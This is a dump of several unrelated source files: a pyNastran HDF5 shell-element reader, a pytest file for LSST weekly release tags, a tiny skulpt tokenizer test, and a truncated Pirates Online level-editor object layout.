from __future__ import annotations from typing import TYPE_CHECKING #import numpy as np import h5py from ..h5_utils import read_basic_element, h5py_to_dataframe if TYPE_CHECKING: # pragma: no cover from pyNastran.bdf.bdf import BDF def read_cshear(name: str, group: h5py._hl.dataset.Dataset, geom_model: BDF) -> None: #('EID', 'PID', 'G', 'DOMAIN_ID') read_basic_element(group, geom_model, geom_model.add_cshear) #EID = group['EID'] #PID = group['PID'] #NIDS = group['G'] #DOMAIN_ID = group['DOMAIN_ID'] #for eid, pid, nids in zip(EID, PID, NIDS): #obj = geom_model.add_cshear(eid, pid, nids, comment='') #obj.validate() def read_ctria3(name: str, group: h5py._hl.dataset.Dataset, geom_model: BDF) -> None: geom_model.card_count[name] = len(group['EID']) setattr(geom_model, name, group) return EID = group['EID'] PID = group['PID'] NIDS = group['G'] THETA = group['THETA'] ZOFFS = group['ZOFFS'] TFLAG = group['TFLAG'] T = group['T'] MCID = group['MCID'] DOMAIN_ID = group['DOMAIN_ID'] for eid, pid, nids, theta, zoffs, tflag, t, mcid in zip(EID, PID, NIDS, THETA, ZOFFS, TFLAG, T, MCID): if mcid == -1: theta_mcid = theta else: asdf assert tflag == 0, tflag t1, t2, t3 = [ti if ti != -1.0 else None for ti in t] obj = geom_model.add_ctria3( eid, pid, nids, theta_mcid=theta_mcid, zoffset=zoffs, tflag=tflag, T1=t1, T2=t2, T3=t3, comment='') obj.validate() def read_cquad4(name: str, group: h5py._hl.dataset.Dataset, geom_model: BDF) -> None: """ Dataset: attrs : <Attributes of HDF5 object at 1739457403880> chunks : (270,) compression : 'gzip' compression_opts : 1 dims : <Dimensions of HDF5 object at 1739457403880> dtype : dtype([('EID', '<i8'), ('PID', '<i8'), ('G', '<i8', (4,)), ('THETA', '<f8'), ('ZOFFS', '<f8'), ('TFLAG', '<i8'), ('T', '<f8', (4,)), ('MCID', '<i8'), ('DOMAIN_ID', '<i8')]) external : None file : <HDF5 file "6+element-nastran-sol103.h5" (mode r)> fillvalue : (0, 0, [0, 0, 0, 0], 0., 0., 0, [0., 0., 0., 0.], 0, 0) fletcher32 : False id : <h5py.h5d.DatasetID object at 0x00000194FFBD9BE8> is_virtual : False maxshape : (None,) name : '/NASTRAN/INPUT/ELEMENT/CQUAD4' nbytes : 4320 ndim : 1 parent : <HDF5 group "/NASTRAN/INPUT/ELEMENT" (1 members)> ref : <HDF5 object reference> regionref : <h5py._hl.base._RegionProxy object at 0x00000194FF9AA048> scaleoffset : None shape : (36,) shuffle : True size : 36 """ geom_model.card_count[name] = len(group['EID']) setattr(geom_model, name, group) return EID = group['EID'] PID = group['PID'] NIDS = group['G'] THETA = group['THETA'] ZOFFS = group['ZOFFS'] TFLAG = group['TFLAG'] T = group['T'] MCID = group['MCID'] DOMAIN_ID = group['DOMAIN_ID'] for eid, pid, nids, theta, zoffs, tflag, t, mcid in zip(EID, PID, NIDS, THETA, ZOFFS, TFLAG, T, MCID): if mcid == -1: theta_mcid = theta else: asdf assert tflag == 0, tflag t1, t2, t3, t4 = [ti if ti != -1.0 else None for ti in t] obj = geom_model.add_cquad4( eid, pid, nids, theta_mcid=theta_mcid, zoffset=zoffs, tflag=tflag, T1=t1, T2=t2, T3=t3, T4=t4, comment='') obj.validate() def read_ctria6(name: str, group: h5py._hl.dataset.Dataset, geom_model: BDF) -> None: EID = group['EID'] PID = group['PID'] NIDS = group['G'] THETA = group['THETA'] ZOFFS = group['ZOFFS'] TFLAG = group['TFLAG'] T = group['T'] MCID = group['MCID'] DOMAIN_ID = group['DOMAIN_ID'] for eid, pid, nids, theta, zoffs, tflag, t, mcid in zip(EID, PID, NIDS, THETA, ZOFFS, TFLAG, T, MCID): if mcid == -1: theta_mcid = theta else: asdf assert tflag == 0, tflag t1, t2, t3 = [ti if ti != -1.0 else None for ti in t] obj = geom_model.add_ctria6( eid, pid, nids, theta_mcid=theta_mcid, zoffset=zoffs, tflag=tflag, T1=t1, T2=t2, T3=t3, comment='') obj.validate() def read_cquad8(name: str, group: h5py._hl.dataset.Dataset, geom_model: BDF) -> None: EID = group['EID'] PID = group['PID'] NIDS = group['G'] THETA = group['THETA'] ZOFFS = group['ZOFFS'] TFLAG = group['TFLAG'] T = group['T'] MCID = group['MCID'] DOMAIN_ID = group['DOMAIN_ID'] for eid, pid, nids, theta, zoffs, tflag, t, mcid in zip(EID, PID, NIDS, THETA, ZOFFS, TFLAG, T, MCID): if mcid == -1: theta_mcid = theta else: asdf assert tflag == 0, tflag t1, t2, t3, t4 = [ti if ti != -1.0 else None for ti in t] obj = geom_model.add_cquad8( eid, pid, nids, theta_mcid=theta_mcid, zoffset=zoffs, tflag=tflag, T1=t1, T2=t2, T3=t3, T4=t4, comment='') obj.validate() def read_ctriar(name: str, group: h5py._hl.dataset.Dataset, geom_model: BDF) -> None: EID = group['EID'] PID = group['PID'] NIDS = group['G'] THETA = group['THETA'] ZOFFS = group['ZOFFS'] TFLAG = group['TFLAG'] T = group['T'] MCID = group['MCID'] DOMAIN_ID = group['DOMAIN_ID'] for eid, pid, nids, theta, zoffs, tflag, t, mcid in zip(EID, PID, NIDS, THETA, ZOFFS, TFLAG, T, MCID): if mcid == -1: theta_mcid = theta else: asdf assert tflag == 0, tflag t1, t2, t3= [ti if ti != -1.0 else None for ti in t] obj = geom_model.add_ctriar( eid, pid, nids, theta_mcid=theta_mcid, zoffset=zoffs, tflag=tflag, T1=t1, T2=t2, T3=t3, comment='') obj.validate() def read_cquadr(name: str, group: h5py._hl.dataset.Dataset, geom_model: BDF) -> None: #('EID', 'PID', 'G', 'THETA', 'ZOFFS', 'TFLAG', 'T', 'MCID', 'DOMAIN_ID') EID = group['EID'] PID = group['PID'] NIDS = group['G'] THETA = group['THETA'] ZOFFS = group['ZOFFS'] TFLAG = group['TFLAG'] T = group['T'] MCID = group['MCID'] DOMAIN_ID = group['DOMAIN_ID'] for eid, pid, nids, theta, zoffs, tflag, t, mcid in zip(EID, PID, NIDS, THETA, ZOFFS, TFLAG, T, MCID): if mcid == -1: theta_mcid = theta else: asdf assert tflag == 0, tflag t1, t2, t3, t4 = [ti if ti != -1.0 else None for ti in t] obj = geom_model.add_cquadr( eid, pid, nids, theta_mcid=theta_mcid, zoffset=zoffs, tflag=tflag, T1=t1, T2=t2, T3=t3, T4=t4, comment='') obj.validate()

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718df44c644defbccaf0c01ece30c9353d11c419

1,286

py

Python

tests/test_eupsweeklymode.py

lsst-sqre/ltd-keeper

c658bcce726764e7416a8a386b418e83912b0f32

[ "Apache-2.0", "MIT" ]

5

2016-05-16T18:46:26.000Z

2019-07-08T15:16:41.000Z

tests/test_eupsweeklymode.py

lsst-sqre/ltd-keeper

c658bcce726764e7416a8a386b418e83912b0f32

[ "Apache-2.0", "MIT" ]

46

2016-02-18T16:54:36.000Z

2022-03-25T19:43:45.000Z

tests/test_eupsweeklymode.py

lsst-sqre/ltd-keeper

c658bcce726764e7416a8a386b418e83912b0f32

[ "Apache-2.0", "MIT" ]

4

2016-08-20T23:10:07.000Z

2022-03-25T19:52:09.000Z

"""Tests for `keeper.editiontracking.eupsweeklymode`.""" import pytest from keeper.editiontracking.eupsweeklymode import WeeklyReleaseTag def test_parsing() -> None: tag = WeeklyReleaseTag("w_2018_01") assert tag.year == 2018 assert tag.week == 1 tag = WeeklyReleaseTag("w_2018_26") assert tag.year == 2018 assert tag.week == 26 # Git variant tag = WeeklyReleaseTag("w.2018.01") assert tag.year == 2018 assert tag.week == 1 # Git variant tag = WeeklyReleaseTag("w.2018.26") assert tag.year == 2018 assert tag.week == 26 with pytest.raises(ValueError): WeeklyReleaseTag("v1_0") with pytest.raises(ValueError): WeeklyReleaseTag("w_2018") with pytest.raises(ValueError): WeeklyReleaseTag("w_2018_01rc1") def test_comparisons() -> None: assert WeeklyReleaseTag("w_2018_01") > WeeklyReleaseTag("w_2017_01") assert not WeeklyReleaseTag("w_2018_01") < WeeklyReleaseTag("w_2017_01") assert WeeklyReleaseTag("w_2018_20") >= WeeklyReleaseTag("w_2018_20") assert WeeklyReleaseTag("w_2018_20") >= WeeklyReleaseTag("w_2018_01") assert WeeklyReleaseTag("w_2018_20") <= WeeklyReleaseTag("w_2018_20") assert not WeeklyReleaseTag("w_2018_20") == WeeklyReleaseTag("w_2018_01")

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null

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6

71d3813fc90c8d157d13e56a3cd6b93b7be4e173

20

py

Python

test/tokenize/t04.py

timmartin/skulpt

2e3a3fbbaccc12baa29094a717ceec491a8a6750

[ "MIT" ]

2,671

2015-01-03T08:23:25.000Z

2022-03-31T06:15:48.000Z

test/tokenize/t04.py

csev/skulpt

9aa25b7dbf29f23ee8d3140d01a6f4353d12e66f

[ "MIT" ]

972

2015-01-05T08:11:00.000Z

2022-03-29T13:47:15.000Z

test/tokenize/t04.py

csev/skulpt

9aa25b7dbf29f23ee8d3140d01a6f4353d12e66f

[ "MIT" ]

845

2015-01-03T19:53:36.000Z

2022-03-29T18:34:22.000Z

2134568 != 01231515

10

19

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1

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null

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1

0

6

71d43a9d17f352358b20172e52ba68296aa81bc8

49,513

py

Python

pirates/leveleditor/worldData/interior_shanty_store_voodoo_destruction.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

81

2018-04-08T18:14:24.000Z

2022-01-11T07:22:15.000Z

pirates/leveleditor/worldData/interior_shanty_store_voodoo_destruction.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

4

2018-09-13T20:41:22.000Z

2022-01-08T06:57:00.000Z

pirates/leveleditor/worldData/interior_shanty_store_voodoo_destruction.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

26

2018-05-26T12:49:27.000Z

2021-09-11T09:11:59.000Z

from pandac.PandaModules import Point3, VBase3, Vec4, Vec3 objectStruct = {'Objects': {'1156268617.43dzlu0s': {'Type': 'Building Interior','Name': '','Instanced': True,'Objects': {'1167851208.51kmuller': {'Type': 'Interior_furnishings','DisableCollision': True,'Holiday': '','Hpr': VBase3(-136.14, 0.0, 0.0),'Pos': Point3(38.83, -27.794, 0.0),'Scale': VBase3(1.296, 1.296, 1.296),'VisSize': '','Visual': {'Model': 'models/props/stove_potbelly'}},'1167851297.48kmuller': {'Type': 'Furniture','DisableCollision': False,'Hpr': VBase3(-91.525, 0.0, 0.0),'Pos': Point3(41.663, 3.579, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Color': (0.5199999809265137, 0.5199999809265137, 0.5299999713897705, 1.0),'Model': 'models/props/bench_shanty_2'}},'1167851350.63kmuller': {'Type': 'Furniture','DisableCollision': False,'Holiday': '','Hpr': VBase3(-42.586, 0.0, 0.0),'Pos': Point3(36.691, -21.999, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/table_shanty_2'}},'1167851586.93kmuller': {'Type': 'Prop_Groups','DisableCollision': True,'Holiday': '','Hpr': VBase3(0.0, 0.0, 0.0),'Pos': Point3(40.047, 18.369, 12.256),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/prop_group_A'}},'1167851649.96kmuller': {'Type': 'Prop_Groups','DisableCollision': True,'Holiday': '','Hpr': VBase3(-153.316, 0.0, 0.0),'Pos': Point3(25.487, 30.597, 12.073),'Scale': VBase3(0.837, 0.837, 0.837),'VisSize': '','Visual': {'Model': 'models/props/prop_group_A'}},'1167851807.53kmuller': {'Type': 'Crate','DisableCollision': True,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(-19.041, -25.093, 12.07),'Scale': VBase3(0.833, 0.833, 0.833),'VisSize': '','Visual': {'Color': (0.4000000059604645, 0.4000000059604645, 0.4000000059604645, 1.0),'Model': 'models/props/crates_group_1'}},'1167851894.7kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(-92.564, 0.0, 0.0),'Pos': Point3(-18.075, 12.111, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.44999998807907104, 0.46000000834465027, 0.5099999904632568, 1.0),'Model': 'models/props/bookshelf_shanty'}},'1167851921.09kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(-92.564, 0.0, 0.0),'Pos': Point3(-19.447, -5.306, 0.009),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.3499999940395355, 0.3499999940395355, 0.4099999964237213, 1.0),'Model': 'models/props/bookshelf_shanty'}},'1167852002.85kmuller': {'Type': 'Prop_Groups','DisableCollision': True,'Holiday': '','Hpr': VBase3(-179.781, 0.0, 0.0),'Pos': Point3(-2.462, 27.995, 0.0),'Scale': VBase3(0.774, 0.774, 0.774),'VisSize': '','Visual': {'Color': (0.4000000059604645, 0.4000000059604645, 0.4000000059604645, 1.0),'Model': 'models/props/prop_group_G'}},'1167852037.59kmuller': {'Type': 'Prop_Groups','DisableCollision': True,'Holiday': '','Hpr': VBase3(-12.176, 0.0, 0.0),'Pos': Point3(-12.594, 26.107, 0.061),'Scale': VBase3(0.753, 0.753, 0.753),'VisSize': '','Visual': {'Color': (0.44999998807907104, 0.46000000834465027, 0.5099999904632568, 1.0),'Model': 'models/props/prop_group_B'}},'1167853082.76kmuller': {'Type': 'Sack','DisableCollision': True,'Holiday': '','Hpr': VBase3(91.224, 0.0, 0.0),'Pos': Point3(-18.405, -9.81, 12.07),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.8899999856948853, 0.8799999952316284, 0.7900000214576721, 1.0),'Model': 'models/props/sack_6stack'}},'1167853258.42kmuller': {'Type': 'Sack','DisableCollision': False,'Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(1.618, 29.269, 12.07),'Scale': VBase3(0.895, 0.895, 0.895),'Visual': {'Model': 'models/props/sack_6stack'}},'1167853323.74kmuller': {'Type': 'Sack','DisableCollision': True,'Holiday': '','Hpr': VBase3(3.126, 0.0, 0.0),'Pos': Point3(8.229, -24.205, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.44999998807907104, 0.46000000834465027, 0.5099999904632568, 1.0),'Model': 'models/props/sack_6stack'}},'1167853393.98kmuller': {'Type': 'Sack','DisableCollision': True,'Hpr': VBase3(3.126, 0.0, 0.0),'Pos': Point3(8.544, -28.068, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Color': (0.3499999940395355, 0.3499999940395355, 0.4099999964237213, 1.0),'Model': 'models/props/sack_6stack'}},'1167853497.35kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(-51.848, 0.0, 0.0),'Objects': {'1181175917.18kmuller': {'Type': 'Interior_furnishings','DisableCollision': False,'Holiday': '','Hpr': VBase3(-164.969, -74.63, 90.964),'Pos': Point3(-0.096, 1.166, 3.082),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/shop_voodoo_staff_skull'}}},'Pos': Point3(-13.006, -24.102, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.4000000059604645, 0.4000000059604645, 0.4000000059604645, 1.0),'Model': 'models/props/table_shanty'}},'1167853515.07kmuller': {'Type': 'Furniture','DisableCollision': False,'Holiday': '','Hpr': VBase3(123.732, -85.339, 42.813),'Pos': Point3(-14.045, -21.466, 0.556),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.5, 0.5, 0.5, 1.0),'Model': 'models/props/chair_shanty'}},'1167854100.26kmuller': {'Type': 'Prop_Groups','DisableCollision': True,'Holiday': '','Hpr': VBase3(-28.429, 0.0, 0.0),'Pos': Point3(35.186, 24.898, 0.031),'Scale': VBase3(0.842, 0.842, 0.842),'VisSize': '','Visual': {'Model': 'models/props/prop_group_E'}},'1167867245.29kmuller': {'Type': 'Furniture','DisableCollision': False,'Holiday': '','Hpr': VBase3(-91.077, 0.0, 0.0),'Pos': Point3(41.052, 10.131, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/cabinet_shanty_low'}},'1167867305.85kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(-89.844, 0.0, 0.0),'Pos': Point3(-8.745, -7.978, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0),'Model': 'models/props/counter_shanty'}},'1167867328.81kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(-89.844, -80.671, 0.0),'Pos': Point3(-10.569, 2.486, 0.782),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.5, 0.5, 0.5, 1.0),'Model': 'models/props/counter_shanty'}},'1167954371.88kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(179.241, 0.0, 0.0),'Pos': Point3(28.331, -30.189, 0.0),'Scale': VBase3(1.113, 1.113, 1.113),'VisSize': '','Visual': {'Model': 'models/props/cabinet_shanty'}},'1167954448.33kmuller': {'Type': 'Crate','DisableCollision': True,'Holiday': '','Hpr': VBase3(88.03, -32.883, 0.0),'Pos': Point3(24.319, -30.172, 0.751),'Scale': VBase3(0.745, 0.745, 0.745),'VisSize': '','Visual': {'Model': 'models/props/crate_04'}},'1167954476.21kmuller': {'Type': 'Crate','DisableCollision': True,'Holiday': '','Hpr': VBase3(148.456, 1.141, 94.314),'Pos': Point3(32.155, -27.087, 1.169),'Scale': VBase3(0.668, 0.668, 0.668),'VisSize': '','Visual': {'Color': (1.0, 0.8399999737739563, 0.6800000071525574, 1.0),'Model': 'models/props/crate_04'}},'1167954660.96kmuller': {'Type': 'Bucket','DisableCollision': True,'Holiday': '','Hpr': VBase3(-43.324, 0.098, -83.945),'Pos': Point3(27.913, -28.467, 0.699),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/bucket_handles'}},'1167954776.51kmuller': {'Type': 'ChickenCage','DisableCollision': True,'Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(-19.38, 25.084, 12.07),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/props/ChickenCage'}},'1167954805.24kmuller': {'Type': 'Baskets','DisableCollision': True,'Hpr': VBase3(-44.57, 0.0, 0.0),'Pos': Point3(-18.486, -30.008, 12.07),'Scale': VBase3(1.111, 1.111, 1.111),'Visual': {'Color': (0.44999998807907104, 0.46000000834465027, 0.5099999904632568, 1.0),'Model': 'models/props/crab_pot'}},'1167957475.65kmuller': {'Type': 'Pots','DisableCollision': False,'Hpr': VBase3(0.0, 0.0, 0.032),'Pos': Point3(38.63, -27.582, 4.366),'Scale': VBase3(1.512, 1.512, 1.512),'Visual': {'Model': 'models/props/pot_A'}},'1167957685.83kmuller': {'Type': 'Mortar_Pestle','DisableCollision': False,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(-8.401, -10.51, 3.597),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/mortar_pestle_stone'}},'1167957751.15kmuller': {'Type': 'Jugs_and_Jars','DisableCollision': False,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(29.133, -29.639, 2.934),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/jar'}},'1167957802.44kmuller': {'Type': 'Jugs_and_Jars','DisableCollision': False,'Hpr': VBase3(27.545, 0.0, 0.0),'Pos': Point3(30.06, -29.864, 2.928),'Scale': VBase3(1.095, 1.095, 1.095),'Visual': {'Model': 'models/props/jug'}},'1167957927.05kmuller': {'Type': 'Jugs_and_Jars','DisableCollision': False,'Holiday': '','Hpr': VBase3(16.869, 0.0, 67.778),'Pos': Point3(26.048, -30.226, 3.103),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/largejug_A2'}},'1167958029.74kmuller': {'Type': 'ChickenCage','DisableCollision': True,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(32.836, -29.562, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/ChickenCage'}},'1167958411.18kmuller': {'Type': 'Jugs_and_Jars','DisableCollision': False,'Holiday': '','Hpr': VBase3(-106.543, 3.665, 87.489),'Pos': Point3(41.274, 6.311, 1.63),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/bottle_tan'}},'1167958482.3kmuller': {'Type': 'Jugs_and_Jars','DisableCollision': False,'Holiday': '','Hpr': VBase3(33.03, -84.141, 7.662),'Pos': Point3(38.77, 10.792, 0.138),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.6700000166893005, 0.7900000214576721, 0.7799999713897705, 1.0),'Model': 'models/props/bottle_red'}},'1167958587.96kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(-179.115, 1.197, -91.865),'Pos': Point3(-11.512, -22.538, 0.682),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.5, 0.5, 0.5, 1.0),'Model': 'models/props/chair_shanty'}},'1167958623.43kmuller': {'Type': 'Trunks','DisableCollision': True,'Hpr': VBase3(90.592, 0.0, 0.0),'Pos': Point3(-19.614, -7.705, 4.173),'Scale': VBase3(0.413, 0.413, 0.413),'Visual': {'Color': (0.44999998807907104, 0.46000000834465027, 0.5099999904632568, 1.0),'Model': 'models/props/Trunk_rounded_2'}},'1167958659.04kmuller': {'Type': 'Food','DisableCollision': False,'Hpr': VBase3(-87.405, 0.0, 0.0),'Pos': Point3(-8.197, 6.748, 6.649),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/props/garlicString'}},'1167958695.37kmuller': {'Type': 'Food','DisableCollision': False,'Holiday': '','Hpr': VBase3(-136.259, 0.0, 0.0),'Pos': Point3(-7.714, 7.661, 7.328),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/garlicString'}},'1167958771.16kmuller': {'Type': 'Mortar_Pestle','DisableCollision': False,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(-18.641, 5.686, 3.543),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/mortar_pestle_wood'}},'1167958796.77kmuller': {'Type': 'Baskets','DisableCollision': True,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(8.343, 18.358, 0.025),'Scale': VBase3(1.935, 1.935, 1.935),'VisSize': '','Visual': {'Color': (0.75, 1.0, 0.8500000238418579, 1.0),'Model': 'models/props/basket'}},'1167958843.83kmuller': {'Type': 'Bucket','DisableCollision': True,'Holiday': '','Hpr': VBase3(0.0, -2.116, 0.0),'Pos': Point3(-14.994, 16.281, 0.416),'Scale': VBase3(0.57, 0.57, 0.57),'VisSize': '','Visual': {'Color': (0.49000000953674316, 0.47999998927116394, 0.4000000059604645, 1.0),'Model': 'models/props/washtub'}},'1167958939.32kmuller': {'Type': 'Bucket','DisableCollision': True,'Holiday': '','Hpr': VBase3(27.039, 0.0, 91.004),'Pos': Point3(-17.122, 17.622, 0.785),'Scale': VBase3(0.882, 0.882, 0.882),'VisSize': '','Visual': {'Color': (0.7900000214576721, 0.7799999713897705, 0.699999988079071, 1.0),'Model': 'models/props/bucket'}},'1167959032.44kmuller': {'Type': 'Jugs_and_Jars','DisableCollision': False,'Holiday': '','Hpr': VBase3(0.0, -80.41, 0.0),'Pos': Point3(-19.067, 8.691, 7.862),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/bottle_red'}},'1167959049.71kmuller': {'Type': 'Jugs_and_Jars','DisableCollision': False,'Holiday': '','Hpr': VBase3(39.072, 0.0, 0.0),'Pos': Point3(-9.812, 7.522, -0.138),'Scale': VBase3(0.532, 0.532, 0.532),'VisSize': '','Visual': {'Model': 'models/props/jug_hanging'}},'1167959560.85kmuller': {'Type': 'Rock','DisableCollision': True,'Hpr': VBase3(-132.948, -87.154, 28.308),'Pos': Point3(-20.055, -3.188, 4.614),'Scale': VBase3(0.52, 0.52, 0.52),'Visual': {'Color': (0.44999998807907104, 0.46000000834465027, 0.5099999904632568, 1.0),'Model': 'models/props/rock_3_sphere'}},'1167959641.15kmuller': {'Type': 'Rock','DisableCollision': True,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(-19.784, -5.038, 4.017),'Scale': VBase3(0.222, 0.222, 0.222),'VisSize': '','Visual': {'Color': (0.699999988079071, 0.699999988079071, 0.699999988079071, 1.0),'Model': 'models/props/rock_1_sphere'}},'1167971424.47kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(-15.109, 0.0, 0.0),'Pos': Point3(-14.762, 5.101, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.4000000059604645, 0.4000000059604645, 0.4000000059604645, 1.0),'Model': 'models/props/counter_shanty'}},'1167971619.35kmuller': {'Type': 'Furniture','DisableCollision': True,'Holiday': '','Hpr': VBase3(1.035, -79.112, 0.0),'Pos': Point3(-15.951, -14.135, 0.986),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (0.4000000059604645, 0.4000000059604645, 0.4000000059604645, 1.0),'Model': 'models/props/counter_shanty'}},'1167971752.08kmuller': {'Type': 'Light_Fixtures','DisableCollision': False,'Holiday': '','Hpr': VBase3(88.536, 0.0, 0.0),'Pos': Point3(-18.44, -0.45, 7.275),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/lamp_candle'}},'1167971774.92kmuller': {'Type': 'Light_Fixtures','DisableCollision': False,'Holiday': '','Hpr': VBase3(179.787, 0.0, 0.0),'Pos': Point3(-6.136, -19.449, 6.634),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/lamp_candle'}},'1167971834.25kmuller': {'Type': 'Light_Fixtures','DisableCollision': False,'Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(31.429, 20.834, 6.298),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/props/lamp_candle'}},'1174700283.27dzlu': {'Type': 'Light - Dynamic','Attenuation': '0.005','ConeAngle': '60.0000','DropOff': '0.0000','FlickRate': 0.5,'Flickering': True,'Hpr': VBase3(77.751, -26.68, 0.0),'Intensity': '0.9242','LightType': 'SPOT','Pos': Point3(56.329, -13.574, 20.382),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Color': (1, 1, 1, 1),'Model': 'models/props/light_tool_bulb'}},'1174700441.91dzlu': {'Type': 'Light - Dynamic','Attenuation': '0.005','ConeAngle': '60.0000','DropOff': '0.0000','FlickRate': '0.5000','Flickering': True,'Holiday': '','Hpr': Point3(0.0, 0.0, 0.0),'Intensity': '0.2576','LightType': 'AMBIENT','Pos': Point3(24.384, 5.839, 0.0),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Color': (1, 1, 1, 1),'Model': 'models/props/light_tool_bulb'}},'1181175670.12kmuller': {'Type': 'Interior_furnishings','DisableCollision': False,'Holiday': '','Hpr': VBase3(37.818, 0.0, 0.0),'Pos': Point3(-15.26, 13.005, 0.083),'Scale': VBase3(1.0, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/props/shop_voodoo_doll'}},'1181175794.6kmuller': {'Type': 'Trunks','DisableCollision': True,'Hpr': VBase3(92.487, 0.0, 0.0),'Pos': Point3(-18.549, 10.268, 4.157),'Scale': VBase3(0.544, 0.544, 0.544),'Visual': {'Color': (0.43, 0.35, 0.35, 1.0),'Model': 'models/props/Trunk_rounded_2'}},'1181175986.39kmuller': {'Type': 'Interior_furnishings','DisableCollision': False,'Holiday': 'WinterFestival','Hpr': VBase3(-8.064, -0.326, -177.7),'Pos': Point3(-5.778, -8.661, -0.069),'Scale': VBase3(2.148, 2.148, 2.148),'VisSize': '','Visual': {'Color': (0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0),'Model': 'models/props/shop_voodoo_doll'}},'1181176040.37kmuller': {'Type': 'Interior_furnishings','DisableCollision': False,'Holiday': '','Hpr': VBase3(93.048, -0.857, -161.592),'Pos': Point3(-19.013, 5.848, 3.485),'Scale': VBase3(2.008, 2.008, 2.008),'VisSize': '','Visual': {'Model': 'models/props/shop_voodoo_staff'}},'1181244708.62kmuller': {'Type': 'Pots','DisableCollision': False,'Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(-19.696, -2.637, 6.143),'Scale': VBase3(1.403, 1.403, 1.403),'Visual': {'Model': 'models/props/pot_A'}},'1185470127.76kmuller': {'Type': 'Collision Barrier','DisableCollision': False,'Holiday': '','Hpr': VBase3(-82.167, 0.0, 0.0),'Pos': Point3(26.198, 25.577, 11.808),'Scale': VBase3(1.165, 1.0, 1.0),'VisSize': '','Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}},'1185470337.59kmuller': {'Type': 'Collision Barrier','DisableCollision': False,'Holiday': '','Hpr': VBase3(67.113, 0.0, 0.0),'Pos': Point3(-16.69, 24.259, 11.447),'Scale': VBase3(1.911, 1.0, 1.636),'VisSize': '','Visual': {'Model': 